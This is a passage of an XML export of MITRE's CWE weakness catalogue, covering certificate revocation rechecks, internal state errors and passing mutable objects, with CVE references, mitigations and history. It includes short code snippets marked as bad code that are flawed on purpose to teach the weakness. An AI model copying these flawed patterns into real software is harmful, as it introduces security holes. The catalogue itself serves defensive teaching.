					          <Observed_Example_Description>Multiple FTP clients write arbitrary files via
						absolute paths in server responses</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1269</Observed_Example_Reference>
					          <Observed_Example_Description>ZIP file extractor allows full
						path</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1818</Observed_Example_Reference>
					          <Observed_Example_Description>Path traversal using absolute
						pathname</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1913</Observed_Example_Reference>
					          <Observed_Example_Description>Path traversal using absolute
						pathname</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2147</Observed_Example_Reference>
					          <Observed_Example_Description>Path traversal using absolute
						pathname</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0614</Observed_Example_Reference>
					          <Observed_Example_Description>Arbitrary files may be overwritten via compressed
						attachments that specify absolute path names for the decompressed
						output.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>/absolute/pathname/here</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Slash Absolute
						Path - /absolute/pathname/here</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="370" Name="Missing Check for Certificate Revocation after Initial Check" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not check the revocation status of a
					certificate after its initial revocation check, which can cause the software to
					perform privileged actions even after the certificate is revoked at a later
					time.</Description_Summary>
				        <Extended_Description>
					          <Text>If the revocation status of a certificate is not checked before each
						action that requires privileges, the system may be subject to a race
						condition. If a certificate is revoked after the initial check, all
						subsequent actions taken with the owner of the revoked certificate will lose
						all benefits guaranteed by the certificate. In fact, it is almost certain
						that the use of a revoked certificate indicates malicious activity.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>299</Relationship_Target_ID>
					          <!--Improper Check for Certificate Revocation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>296</Relationship_Target_ID>
					          <!--Improper Following of Chain of Trust for Certificate Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>297</Relationship_Target_ID>
					          <!--Improper Validation of Host-specific Certificate Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>298</Relationship_Target_ID>
					          <!--Improper Validation of Certificate Expiration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Trust may be assigned to an entity who is not who it claims to
							be.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Data from an untrusted (and possibly malicious) source may be
							integrated.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Data may be disclosed to an entity impersonating a trusted entity,
							resulting in information disclosure.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that certificates are checked for revoked status before each
							use of a protected resource. If the certificate is checked before each
							access of a protected resource, the delay subject to a possible race
							condition becomes almost negligible and significantly reduces the risk
							associated with this issue.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>if (!(cert = SSL_get_peer(certificate(ssl)) || !host)
								foo=SSL_get_verify_result(ssl);</Code>
							              <Code>if (X509_V_OK==foo) //do stuff</Code>
							              <Code>foo=SSL_get_verify_result(ssl); //do more stuff without the
								check.</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 13: Race Conditions." Page 205</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Race condition in checking for certificate
						revocation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>26</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>29</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Race Condition in Checking
						for Certificate Revocation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="372" Name="Incomplete Internal State Distinction" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly determine which state it is in,
					causing it to assume it is in state X when in fact it is in state Y, causing it
					to perform incorrect operations in a security-relevant
					manner.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>371</Relationship_Target_ID>
					          <!--State Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This conceptually overlaps other categories such as insufficient
						verification, but this entry refers to the product's incorrect perception of
						its own state.</Text>
				        </Relationship_Note>
				        <Relationship_Note>
					          <Text>This is probably resultant from other weaknesses such as unhandled error
						conditions, inability to handle out-of-order steps, multiple interpretation
						errors, etc.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The classification under CWE-697 is imprecise. Since this entry does not
						cover specific causes for why proper state is not identified, it needs
						deeper investigation. It is probably more like a category.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Incomplete Internal State Distinction</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>56</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>74</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="373" Name="DEPRECATED: State Synchronization Error" Weakness_Abstraction="Base" Status="Deprecated">
			      <Description>
				        <Description_Summary>This entry was deprecated because it overlapped the same
					concepts as race condition (CWE-362) and Improper Synchronization
					(CWE-662).</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-12</Modification_Date>
					          <Modification_Comment>Deprecated entry</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Description, Likelihood_of_Exploit, Name,
						Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings,
						Time_of_Introduction, Type</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">State Synchronization
						Error</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="374" Name="Passing Mutable Objects to an Untrusted Method" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Sending non-cloned mutable data as an argument may result in
					that data being altered or deleted by the called function, thereby putting the
					calling function into an undefined state.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>371</Relationship_Target_ID>
					          <!--State Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>In situations where unknown code is called with references to mutable
						data, this external code may possibly make changes to the data sent. If this
						data was not previously cloned, you will be left with modified data which
						may, or may not, be valid in the context of execution.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Potentially data could be tampered with by another function which
							should not have been tampered with.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Pass in data which should not be altered as constant or
							immutable.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Clone all mutable data before returning references to it. This is the
							preferred mitigation. This way -- regardless of what changes are made to
							the data -- a valid copy is retained for use by the class.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>private:</Code>
							              <Block>
								                <Code>int foo;</Code>
								                <Code>complexType bar;</Code>
								                <Code>String baz;</Code>
								                <Code>otherClass externalClass;</Code>
							              </Block>
							              <Code/>
							              <Code>public:</Code>
							              <Block>
								                <Code>void doStuff() {</Code>
								                <Block>
									                  <Code>externalClass.doOtherStuff(foo, bar, baz)</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
						            </Block>
						            <Text>In this example, bar and baz will be passed by reference to
							doOtherStuff() which may change them.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example, the BookStore class manages the sale
						of books in a bookstore, this class includes the member objects for the
						bookstore inventory and sales database manager classes. The BookStore class
						includes a method for updating the sales database and inventory when a book
						is sold. This method retrieves a Book object from the bookstore inventory
						object using the supplied ISBN number for the book class, then calls a
						method for the sales object to update the sales information and then calls a
						method for the inventory object to update inventory for the
						BookStore.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BookStore {</Code>
							              <Block>
								                <Code>private BookStoreInventory inventory;</Code>
								                <Code>private SalesDBManager sales;</Code>
								                <Code>...</Code>
								                <Comment>// constructor for BookStore</Comment>
								                <Code>public BookStore() {</Code>
								                <Block>
									                  <Code>this.inventory = new BookStoreInventory();</Code>
									                  <Code>this.sales = new SalesDBManager();</Code>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public void updateSalesAndInventoryForBookSold(String
									bookISBN) {</Code>
								                <Block>
									                  <Comment>// Get book object from inventory using ISBN</Comment>
									                  <Code>Book book = inventory.getBookWithISBN(bookISBN);</Code>
									                  <Comment>// update sales information for book sold</Comment>
									                  <Code>sales.updateSalesInformation(book);</Code>
									                  <Comment>// update inventory</Comment>
									                  <Code>inventory.updateInventory(book);</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>// other BookStore methods</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>public class Book {</Code>
							              <Block>
								                <Code>private String title;</Code>
								                <Code>private String author;</Code>
								                <Code>private String isbn;</Code>
								                <Comment>// Book object constructors and get/set methods</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, in this example the Book object that is retrieved and passed
							to the method of the sales object could have its contents modified by
							the method. This could cause unexpected results when the book object is
							sent to the method for the inventory object to update the inventory. </Text>
						            <Text>In the Java programming language arguments to methods are passed by
							value, however in the case of objects a reference to the object is
							passed by value to the method. When an object reference is passed as a
							method argument a copy of the object reference is made within the method
							and therefore both references point to the same object. This allows the
							contents of the object to be modified by the method that holds the copy
							of the object reference. (See Reference)</Text>
						            <Text>In this case the contents of the Book object could be modified by the
							method of the sales object prior to the call to update the
							inventory.</Text>
						            <Text>To prevent the contents of the Book object from being modified, a copy
							of the Book object should be made before the method call to the sales
							object. In the following example a copy of the Book object is made using
							the clone() method and the copy of the Book object is passed to the
							method of the sales object. This will prevent any changes being made to
							the original Book object.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>public void updateSalesAndInventoryForBookSold(String bookISBN)
								{</Code>
							              <Block>
								                <Comment>// Get book object from inventory using ISBN</Comment>
								                <Code>Book book = inventory.getBookWithISBN(bookISBN);</Code>
								                <Comment>// Create copy of book object to make sure contents are not
									changed</Comment>
								                <Code>Book bookSold = (Book) book.clone();</Code>
								                <Comment>// update sales information for book sold</Comment>
								                <Code>sales.updateSalesInformation(bookSold);</Code>
								                <Comment>// update inventory</Comment>
								                <Code>inventory.updateInventory(book);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
					          <Demonstrative_Example_References>
						            <Reference>
							              <Reference_Author>Tony Sintes</Reference_Author>
							              <Reference_Title>Does Java pass by reference or pass by
								value?</Reference_Title>
							              <Reference_Publication>JavaWorld.com</Reference_Publication>
							              <Reference_PubDate>2000-05-26</Reference_PubDate>
							              <Reference_Link>http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html</Reference_Link>
						            </Reference>
						            <Reference>
							              <Reference_Author>Herbert Schildt</Reference_Author>
							              <Reference_Title>Java: The Complete Reference, J2SE 5th
								Edition</Reference_Title>
						            </Reference>
					          </Demonstrative_Example_References>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Passing mutable objects to an untrusted
						method</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Provide mutable classes with copy functionality to safely
						allow passing instances to untrusted code</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Name, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Mutable Objects Passed by
